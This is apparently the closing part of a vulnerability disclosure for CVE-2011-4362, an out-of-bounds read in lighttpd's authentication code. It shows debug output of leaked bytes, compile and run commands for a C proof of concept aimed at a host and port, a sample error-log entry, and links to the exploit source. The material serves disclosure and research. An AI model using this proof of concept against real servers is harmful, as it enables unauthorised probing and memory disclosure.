-30(. | 99 | 74)
-29(. | 100 | 75)
-28(d | 101 | 75)
-27(c | 102 | 76)
-26(d | 103 | 77)
-25(i | 104 | 78)
-24(g | 105 | 78)
-23(b | 106 | 79)
-22(s | 107 | 80)
-21(6 | 108 | 81)
-20(- | 109 | 81)
-19(t | 110 | 82)
-18(i | 111 | 83)
-17(g | 112 | 84)
-16(f | 113 | 84)
-15(i | 114 | 85)
-14(e | 115 | 86)
-13(. | 116 | 87)
-12(. | 117 | 87)
-11(. | 118 | 88)
-10(. | 119 | 89)
-9(. | 120 | 90)
-8(. | 121 | 90)
-7(. | 122 | 91)
-6(. | 123 | 92)
-5(. | 124 | 93)
-4(. | 125 | 93)
-3(. | 126 | 94)
-2(. | 127 | 95)
-1(. | 128 | 96)
k[0x60] ptr[0x9a92c48] size[0xc0] used[0x0]
ptr[0x9a92c48] size[0xc0] used[0x60]
string [.Yg.\...n.Xt.]r.ze.....g.Y..\..Yb.Y(..d..r.[..Y...-.xi..i.]
--- CUT ---

First column is the offset so vulnerability is executed like it should be (negative offsets). Second column is byte which is read out-of-bound.

How to run this very primitive Proof of Concept?

$ gcc p_cve-2011-4362.c -o p_cve-2011-4362
$ ./p_cve-2011-4362 

    ...::: -=[ Proof of Concept for CVE-2011-4362 (by Adam 'pi3' Zabrocki) ]=- :::...

    Usage: ./p_cve-2011-4362 <options>

        Options:
             -v <victim>
             -p <port>
             -d <remote_dir_for_auth>

$ ./p_cve-2011-4362 -h 127.0.0.1 -p 81 -d dupa

    ...::: -=[ Proof of Concept for CVE-2011-4362 (by Adam 'pi3' Zabrocki) ]=- :::...

        [+] Preparing arguments... OK
        [+] Creating socket... OK
        [+] Connecting to [127.0.0.1]... OK
        [+] Sending dirty packet... OK

        [+] Check the website!

$

Lighttpd will log this situation probably in error-log file like this:

--- CUT ---
...
...
2011-12-xx xx:xx:11: (http_auth.c.887) : is missing in ÇYg\§ÎúnöXt¾]rzeëÛô¾gYóï\ðÿYbîY(¿dßørÖ[YóúÙ-·xiþèi°kÂWpË    ]߶øò\äÂ×@VØä¦xóúÝize
--- CUT ---

Maybe you can find vulnerable binary?

Best regards,
Adam ‘pi3’ Zabrocki


http://pi3.com.pl
http://site.pi3.com.pl/exp/p_cve-2011-4362.c
http://blog.pi3.com.pl/?p=277